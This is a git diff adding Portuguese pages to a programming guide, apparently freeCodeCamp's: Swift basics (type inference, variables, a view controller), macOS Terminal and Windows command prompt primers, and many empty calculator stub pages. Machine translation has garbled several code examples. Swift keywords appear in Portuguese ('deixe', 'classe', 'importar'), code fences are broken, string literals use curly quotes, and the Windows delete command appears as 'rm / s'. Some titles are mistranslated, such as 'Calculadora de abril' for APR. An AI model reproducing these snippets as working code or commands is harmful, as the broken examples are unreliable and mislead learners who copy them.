+Assim, podemos limpar o código para ficar parecido com o exemplo abaixo, e o Swift pode inferir o tipo de uso.
+
+#### Exemplo:
+
+```swift
+    let iPhone = “iPhone”       // Inferred as String 
+    let yearIntroduced = 2007   // Inferred as Int 
+    let isAwesome = true        // Inferred as Bool 
+```
+
+#### Mais Informações:
+
+*   [A linguagem de programação rápida](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID322)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/swift/variables/index.md b/client/src/guide/portuguese/swift/variables/index.md
new file mode 100644
index 0000000000..528473f58d
--- /dev/null
+++ b/client/src/guide/portuguese/swift/variables/index.md
@@ -0,0 +1,40 @@
+---
+title: Variables
+localeTitle: Variáveis
+---
+## Variáveis
+
+Uma variável associa um nome a um valor de um tipo específico. No Swift, existem duas maneiras principais de criar variáveis. `let` e `var` . Para declarar constantes, use a palavra-chave `let` . Para declarar variáveis ​​mutáveis, use a palavra-chave `var` .
+
+O benefício de ter duas maneiras de armazenar variáveis ​​no Swift é evitar erros de variáveis ​​variáveis ​​que devem ser constantes.
+
+\`\` \`Swift deixe daysInAWeek = 7 var amountOfMoney = 100
+
+amountOfMoney = 150 // amountOfMoney agora é de 150
+
+daysInAWeek = 10 // Isso nos dá um erro!
+
+\`\` \`
+
+Nesse caso, a variável `daysInAWeek` deve ser uma constante porque há apenas sete dias em uma semana, enquanto a variável `amountOfMoney` deve ser um var porque a quantidade de dinheiro na conta é alterada.
+
+Os nomes constantes e variáveis ​​podem conter praticamente qualquer caractere, incluindo caracteres Unicode:
+
+```Swift
+  let π = 3.14159 
+  let 你好 = "你好世界" 
+  let 🐶🐮 = "dogcow" 
+```
+
+Para testar se suas variáveis ​​possuem o valor correto, use `print()` .
+
+```Swift
+  let money = 50 
+ 
+  print(money) 
+  // This prints 50 
+```
+
+#### Mais Informações:
+
+*   [A linguagem de programação rápida](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID310)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/swift/view-controller/index.md b/client/src/guide/portuguese/swift/view-controller/index.md
new file mode 100644
index 0000000000..9cb6d3dde8
--- /dev/null
+++ b/client/src/guide/portuguese/swift/view-controller/index.md
@@ -0,0 +1,16 @@
+---
+title: View Controllers
+localeTitle: Visualizar controladores
+---
+## Visualizar controladores
+
+Este é um exemplo de como é uma visão básica no Swift.
+
+\`\` \`Swift importar UIKit
+
+classe ViewController: UIViewController { // 1 override func viewDidLoad () { // 2 super.viewDidLoad () // 3 view.backgroundColor = .white }  
+} \`\` \`
+
+1.  Carrega a exibição após o carregamento do controlador.
+2.  Substitui a classe UIViewController. Este é um passo necessário para qualquer controlador de visualização.
+3.  Define a cor de fundo para branco.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/terminal-commandline/index.md b/client/src/guide/portuguese/terminal-commandline/index.md
new file mode 100644
index 0000000000..def6bf8a26
--- /dev/null
+++ b/client/src/guide/portuguese/terminal-commandline/index.md
@@ -0,0 +1,5 @@
+---
+title: Terminal/Command Prompt
+localeTitle: Terminal / prompt de comando
+---
+# Terminal / prompt de comando
\ No newline at end of file
diff --git a/client/src/guide/portuguese/terminal-commandline/macos-terminal/index.md b/client/src/guide/portuguese/terminal-commandline/macos-terminal/index.md
new file mode 100644
index 0000000000..1aabbdf404
--- /dev/null
+++ b/client/src/guide/portuguese/terminal-commandline/macos-terminal/index.md
@@ -0,0 +1,62 @@
+---
+title: Mac OS Terminal
+localeTitle: Mac OS Terminal
+---
+# Usando o terminal no Mac OS
+
+Na maioria das vezes, os usuários interagem através de uma interface gráfica do usuário para interagir com o computador. Você usa o mouse para apontar e clicar para abrir, mover ou criar novos arquivos ou abrir aplicativos. Mas você também pode usar o aplicativo Terminal para interagir com sua máquina por meio de comandos escritos. Quando você usa o terminal, ele permite que você se aprofunde e personalize de uma forma que não é possível através da GUI.
+
+### Abrindo o Terminal e Navegando em Diretórios
+
+Seu terminal existe no diretório de aplicativos. Abra seu aplicativo Terminal. Você deve ver um prompt na janela do terminal. Ele deve ter o nome do computador (Macbook da ABC), seguido pelo nome do usuário (ABC) e, em seguida, um '$'. Se você estiver no diretório raiz, o último caractere será um '#'.
+
+Para ver em qual diretório você está trabalhando, basta digitar o comando
+
+`pwd`
+
+pwd significa "Imprimir Diretório de Trabalho". Diretório é outra palavra para pasta.
+
+Se você quiser listar o conteúdo do seu diretório, use o comando:
+
+`ls`
+
+Para mudar para um novo diretório, use o comando:
+
+`cd`
+
+que significa diretório de mudança.
+
+Aqui está uma lista de comandos comuns:
+
+Comando | Uso ------------ | ------------- pwd | Imprimir diretório de trabalho (onde estou?) ls | Listar o conteúdo do diretório atual mkdir | Crie um novo diretório toque | Crie um novo arquivo cp | Copie um arquivo rm | Remover um arquivo rm -rf | Remover um diretório
+
+### Exemplos de uso
+
+Alguns dos comandos acima mencionados não são claros sem exemplos. Abaixo estão alguns exemplos de uso para ajudar a fornecer algum contexto.
+
+#### Fazendo um diretório
+
+`mkdir #YOUR-NEW-FOLDER-NAME-HERE`
+
+#### Fazendo um arquivo
+
+`touch YOUR-FILE-NAME.JS`
+
+Você pode criar um arquivo com qualquer extensão que você escolher. Contanto que esteja em um formato aceito pela pasta ou máquina.
+
+#### Copiando um arquivo
+
+Use a seguinte sintaxe para copiar um arquivo do terminal:
+
+**_destino de_ _origem_ cp**
+
+Por exemplo, se tivermos um arquivo, _'test.txt',_ armazenado em nosso diretório _/ Desktop_ e quisermos copiá-lo para a pasta _/ Documents_ , nosso comando ficará assim:
+```
+cp ~/Desktop/test.txt ~/Documents 
+```
+
+#### Excluindo um arquivo
+
+Use a seguinte sintaxe para excluir um arquivo
+
+**rm _#PATH_ TO _FILE_**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/terminal-commandline/windows-command-prompt/index.md b/client/src/guide/portuguese/terminal-commandline/windows-command-prompt/index.md
new file mode 100644
index 0000000000..5319198aa5
--- /dev/null
+++ b/client/src/guide/portuguese/terminal-commandline/windows-command-prompt/index.md
@@ -0,0 +1,60 @@
+---
+title: Windows Command Prompt
+localeTitle: Prompt de Comando do Windows
+---
# Usando o prompt de comando no Windows
+
+Windows, MacOS e Linux possuem interfaces de linha de comando. A linha de comando padrão do Windows é o prompt de comando. O prompt de comando permite que os usuários usem seu computador sem apontar e clicar com um mouse. O prompt de comando é uma tela preta na qual os usuários digitam comandos para usar o computador. As mesmas tarefas que podem ser feitas apontando e clicando com um mouse também podem ser feitas com o prompt de comando. A diferença é que muitas tarefas, como criar pastas e excluir arquivos, podem ser feitas mais rapidamente no prompt de comando. Além disso, permite que os usuários configurem seu computador e executem programas que, de outra forma, não poderiam fazer apontando e clicando.
+
+## Abrindo o prompt de comando
+
+Para acessar o prompt de comando, clique no menu Iniciar do Windows na barra de ferramentas da área de trabalho (você também pode pressionar o botão do Windows no teclado), digite `cmd` e pressione `enter` . O prompt de comando irá aparecer, ele irá exibir algum texto como segue abaixo: \`\` \` C: \\ Users \\ YourUserName>
+```
+## Navigating Directories (Moving through folders) 
+ `C:\Users\YourUserName` is called your current working directory (directory is another way to say folder). It is like a street address that tells you where you are on your computer. The current working directory can be a guide as you navigate through your computer. On the right of the `>` we can type `cd`, which stands for Change Directory, and the name of a directory that you want to navigate to. In this case we will type `Documents`. Enter `cd Documents` and your current working directory should look like the following: 
+```
+
+C: \\ Users \\ YourUserName \\ Documents>
+```
+To go back one directory type and enter `cd..`. Your current working directory should return to this: 
+```
+
+C: \\ Users \\ YourUserName>
+```
+With the `cd` and `cd ..` commands you can move back and forth through directories. This might seem very basic at first but as you learn more commands the command prompt will become a very useful and efficient tool. 
+ 
+ ## Here is a list of common commands: 
+ | Command | Description  | 
+ |---------|--------------| 
+ |`help`   |Lists commands that can be used| 
+ |  `dir`  |Lists the current directories contents| 
+ |`dir /a` |Shows hidden files| 
+ | `mkdir` |Creates a new directory| 
+ | `rmdir` |Deletes a directory (if empty)| 
+ | `rmdir /s`|Deletes a folder and its contents 
+ | `cls`  |Clears the command prompt screen 
+ | `exit`|Closes the command prompt 
+ 
+ ## Usage Examples: 
+ #### Making a Directory 
+```
+
+mkdir nome _do_ _diretório que_ você _quer_ fazer\_make
+```
+#### Getting Info on a Command 
+```
+
+your\_command /?
+```
+#### Deleting a File and Contents 
+```
+
+rm / s nome _do_ diretório _que você_ _deseja_ excluir \`\` \`
+
+## Dicas úteis:
+
+*   O comando `Ipconfig` mostra o endereço IP do seu computador
+*   Se você digitar parte do nome de um diretório e pressionar a tecla `tab` o prompt de comando completará o preenchimento automático e se você pressionar a tecla `tab` repetidamente, ele percorrerá os diretórios que começam com a mesma letra.
+*   Você pode usar outros shells ou ferramentas como git bash ou cmder para adicionar mais comandos e funcionalidades ao seu prompt de comando
+*   Algumas tarefas requerem que você execute o prompt de comando como um administrador clicando no botão do Windows e digitando `cmd admin` e pressione a tecla `enter`
+*   Se você souber que o caminho para um arquivo ou diretório pode digitar `cd PATH_TO_YOUR_DIRECTORY` vez de alterar os diretórios várias vezes para obter um diretório ou arquivo
+*   Quando você apertar a tecla de seta para cima, seu comando previamente digitado aparecerá e se você bater repetidamente, ele passará por todos os seus comandos digitados anteriormente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/401k-calculator/index.md b/client/src/guide/portuguese/tools/calculators/401k-calculator/index.md
new file mode 100644
index 0000000000..89df1ed3f9
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/401k-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: 401k Calculator
+localeTitle: Calculadora 401k
+---
+## Calculadora 401k
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/401k-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/amortization-calculator/index.md b/client/src/guide/portuguese/tools/calculators/amortization-calculator/index.md
new file mode 100644
index 0000000000..a9c7cd4bb1
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/amortization-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Amortization Calculator
+localeTitle: Calculadora de Amortização
+---
+## Calculadora de Amortização
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/amortization-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/apr-calculator/index.md b/client/src/guide/portuguese/tools/calculators/apr-calculator/index.md
new file mode 100644
index 0000000000..a753e66d0e
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/apr-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Apr Calculator
+localeTitle: Calculadora de abril
+---
+## Calculadora de abril
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/apr-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/area-calculator/index.md b/client/src/guide/portuguese/tools/calculators/area-calculator/index.md
new file mode 100644
index 0000000000..61d360187c
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/area-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Area Calculator
+localeTitle: Calculadora de Área
+---
+## Calculadora de Área
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/area-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/auto-lease-calculator/index.md b/client/src/guide/portuguese/tools/calculators/auto-lease-calculator/index.md
new file mode 100644
index 0000000000..820774bb81
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/auto-lease-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Auto Lease Calculator
+localeTitle: Calculadora de Locação Automática
+---
+## Calculadora de Locação Automática
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/auto-lease-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/binary-calculator/index.md b/client/src/guide/portuguese/tools/calculators/binary-calculator/index.md
new file mode 100644
index 0000000000..22f2ade27e
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/binary-calculator/index.md
@@ -0,0 +1,15 @@
+---
+title: Binary Calculator
+localeTitle: Calculadora binária
+---
+## Calculadora binária
+
+Uma Calculadora Binária é usada para pré-formatar adição, subtração, multiplicação ou divisão de dois números binários. Uma calculadora binária também pode converter valores binários em valores decimais e vice-versa.
+
+Por exemplo: 10101010 + 11001100 = 0101110110 (binário) ou 374 (decimal)
+
+Ou, 10101010 x 11001100 = 01000011101111000 (binário) ou 34680 (decimal)
+
+#### Mais Informações:
+
+[Uma calculadora binária online que você pode experimentar](http://www.calculator.net/binary-calculator.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/btu-calculator/index.md b/client/src/guide/portuguese/tools/calculators/btu-calculator/index.md
new file mode 100644
index 0000000000..a9a6937c92
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/btu-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Btu Calculator
+localeTitle: Calculadora Btu
+---
+## Calculadora Btu
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/btu-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/calorie-calculator/index.md b/client/src/guide/portuguese/tools/calculators/calorie-calculator/index.md
new file mode 100644
index 0000000000..5b2ec41b9c
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/calorie-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Calorie Calculator
+localeTitle: Caloria Calculadora
+---
+## Caloria Calculadora
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/calorie-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/circle-calculator/index.md b/client/src/guide/portuguese/tools/calculators/circle-calculator/index.md
new file mode 100644
index 0000000000..0ac8e36e19
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/circle-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Circle Calculator
+localeTitle: Calculadora Circular
+---
+## Calculadora Circular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/circle-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/coding-bootcamp-cost-calculator/index.md b/client/src/guide/portuguese/tools/calculators/coding-bootcamp-cost-calculator/index.md
new file mode 100644
index 0000000000..c8052fe3bd
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/coding-bootcamp-cost-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Coding Bootcamp Cost Calculator
+localeTitle: Calculadora de Custo de Bootcamp de Codificação
+---
+## Calculadora de Custo de Bootcamp de Codificação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/coding-bootcamp-cost-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/combinations-and-permutations-calculator/index.md b/client/src/guide/portuguese/tools/calculators/combinations-and-permutations-calculator/index.md
new file mode 100644
index 0000000000..34fd1af1b6
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/combinations-and-permutations-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Combinations and Permutations Calculator
+localeTitle: Calculadora de combinações e permutações
+---
+## Calculadora de combinações e permutações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/combinations-and-permutations-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/complex-number-calculator/index.md b/client/src/guide/portuguese/tools/calculators/complex-number-calculator/index.md
new file mode 100644
index 0000000000..e1afef9c0a
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/complex-number-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Complex Number Calculator
+localeTitle: Calculadora de números complexos
+---
+## Calculadora de números complexos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/complex-number-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/conception-calculator/index.md b/client/src/guide/portuguese/tools/calculators/conception-calculator/index.md
new file mode 100644
index 0000000000..d6d90b3f83
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/conception-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Conception Calculator
+localeTitle: Calculadora de Concepção
+---
+## Calculadora de Concepção
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/conception-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/confidence-interval-calculator/index.md b/client/src/guide/portuguese/tools/calculators/confidence-interval-calculator/index.md
new file mode 100644
index 0000000000..e2b5796335
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/confidence-interval-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Confidence Interval Calculator
+localeTitle: Calculadora de Intervalo de Confiança
+---
+## Calculadora de Intervalo de Confiança
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/confidence-interval-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/conversion-calculator/index.md b/client/src/guide/portuguese/tools/calculators/conversion-calculator/index.md
new file mode 100644
index 0000000000..7b9e44daff
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/conversion-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Conversion Calculator
+localeTitle: Calculadora de Conversão
+---
+## Calculadora de Conversão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/conversion-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/date-calculator/index.md b/client/src/guide/portuguese/tools/calculators/date-calculator/index.md
new file mode 100644
index 0000000000..9952cf142a
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/date-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Calculator
+localeTitle: Calculadora de Dados
+---
+## Calculadora de data
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/date-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/density-calculator/index.md b/client/src/guide/portuguese/tools/calculators/density-calculator/index.md
new file mode 100644
index 0000000000..ee6899d62f
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/density-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Density Calculator
+localeTitle: Calculadora de densidade
+---
+## Calculadora de densidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/density-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/exponent-calculator/index.md b/client/src/guide/portuguese/tools/calculators/exponent-calculator/index.md
new file mode 100644
index 0000000000..2ffe7ff15b
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/exponent-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponent Calculator
+localeTitle: Calculadora Exponente
+---
+## Calculadora Exponente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/exponent-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/finance-calculator/index.md b/client/src/guide/portuguese/tools/calculators/finance-calculator/index.md
new file mode 100644
index 0000000000..2b16db9744
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/finance-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Finance Calculator
+localeTitle: Calculadora Financeira
+---
+## Calculadora Financeira
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/finance-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/financial-calculator/index.md b/client/src/guide/portuguese/tools/calculators/financial-calculator/index.md
new file mode 100644
index 0000000000..a430079429
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/financial-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Financial Calculator
+localeTitle: Calculadora Financeira
+---
+## Calculadora Financeira
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/financial-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/fraction-calculator/index.md b/client/src/guide/portuguese/tools/calculators/fraction-calculator/index.md
new file mode 100644
index 0000000000..c61daf235a
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/fraction-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Fraction Calculator
+localeTitle: Calculadora de Fração
+---
+## Calculadora de Fração
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/fraction-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/future-value-calculator/index.md b/client/src/guide/portuguese/tools/calculators/future-value-calculator/index.md
new file mode 100644
index 0000000000..11345335b9
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/future-value-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Future Value Calculator
+localeTitle: Calculadora de valor futuro
+---
+## Calculadora de valor futuro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/future-value-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/gpa-calculator/index.md b/client/src/guide/portuguese/tools/calculators/gpa-calculator/index.md
new file mode 100644
index 0000000000..51844413b7
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/gpa-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Gpa Calculator
+localeTitle: Calculadora Gpa
+---
+## Calculadora Gpa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/gpa-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/greatest-common-factor-calculator/index.md b/client/src/guide/portuguese/tools/calculators/greatest-common-factor-calculator/index.md
new file mode 100644
index 0000000000..83b9d6b40b
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/greatest-common-factor-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Factor Calculator
+localeTitle: Maior Calculadora Comum de Fator
+---
+## Maior Calculadora Comum de Fator
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/greatest-common-factor-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/half-life-calculator/index.md b/client/src/guide/portuguese/tools/calculators/half-life-calculator/index.md
new file mode 100644
index 0000000000..390e702ae8
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/half-life-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Half Life Calculator
+localeTitle: Calculadora Half Life
+---
+## Calculadora Half Life
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/half-life-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/hex-calculator/index.md b/client/src/guide/portuguese/tools/calculators/hex-calculator/index.md
new file mode 100644
index 0000000000..2f8777a2d4
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/hex-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Hex Calculator
+localeTitle: Calculadora Hex
+---
+## Calculadora Hex
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/hex-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/income-tax-calculator/index.md b/client/src/guide/portuguese/tools/calculators/income-tax-calculator/index.md
new file mode 100644
index 0000000000..e52d20996a
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/income-tax-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Income Tax Calculator
+localeTitle: Calculadora do Imposto de Renda
+---
+## Calculadora do Imposto de Renda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/income-tax-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/index.md b/client/src/guide/portuguese/tools/calculators/index.md
new file mode 100644
index 0000000000..4c67f480f5
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculators
+localeTitle: Calculadoras
+---
+## Calculadoras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/index.md) .
+
